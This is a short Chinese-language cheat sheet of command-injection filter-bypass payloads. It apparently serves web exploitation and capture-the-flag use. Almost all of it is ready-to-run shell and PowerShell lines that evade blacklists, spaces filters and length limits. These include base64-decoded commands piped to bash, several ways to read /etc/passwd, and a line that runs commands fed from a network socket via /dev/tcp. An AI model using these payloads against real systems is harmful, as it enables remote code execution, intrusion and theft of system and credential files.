远程命令执行绕过技巧

绕过命令执行黑名单

绕过黑名单主要有以下方法

拼接

[root@localhost home]# a=ca;b=t;c=1; $a$b $c.txt

base64编码

[root@localhost home]# echo "Y2F0IGZsYWc="|base64 -d

或者

[root@localhost home]# echo "Y2F0IGZsYWc="|base64 -d|bash

单引号、双引号

[root@localhost home]# ca""t 1''.txt

反斜线

[root@localhost home]# c\at 1.t\xt

可变扩展绕过

/???/c?t /???/p?ss??

test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}

使用通配符绕过

powershell C:\*\*2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc

strong>shell特殊变量($1,$2等和$@)

[root@localhost home]# ca$@t 1$1.txt

长度限制绕过

可以通过构造文件来绕过

linux下可以用

1 > a    #创建文件名为a的空文件

ls -t>test   #则会将目录按时间排序后写进test文件中

sh      #命令可以从一个文件中读取命令来执行

空格绕过

linux下

cat</etc/passwd
{cat,/etc/passwd}
cat$IFS/etc/passwd
echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
X=$'uname\x20-a'&&$X
sh</dev/tcp/127.0.0.1/4242

windows下

ping%CommonProgramFiles:~10,-18%IP
ping%PROGRAMFILES:~10,-5%IP

引号逃逸

当恶意命令被扩在引号内时,可用 \ 转义引号逃逸

不带反斜杠和斜杠的命令执行

linux下

cat ${HOME:0:1}etc${HOME:0:1}passwd     # echo ${HOME:0:1}
echo . | tr '!-0' '"-1'                    # /
tr '!-0' '"-1' <<< .                  # /
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd